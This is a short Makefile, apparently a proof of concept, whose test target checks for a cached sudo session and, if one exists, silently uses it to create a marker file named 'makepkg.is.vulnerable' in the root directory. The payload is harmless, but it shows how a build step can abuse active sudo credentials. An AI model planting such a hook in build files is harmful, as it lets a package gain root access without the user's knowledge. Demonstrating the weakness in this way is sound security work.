#!/usr/bin/make -f SHELL = /bin/bash .PHONY: test test: @if sudo -n -v 2>/dev/null ; then \ filename="/makepkg.is.vulnerable.$$(date "+%Y%m%d_%H%M%S")" ; \ sudo touch / "$$filename" || true ; \ echo "ACTIVE SUDO SESSION: A file in / created successfully." ; \ ls -l "$$filename" ; \ else \ echo "INACTIVE SUDO SESSION: Can't do any harm." ; \ fi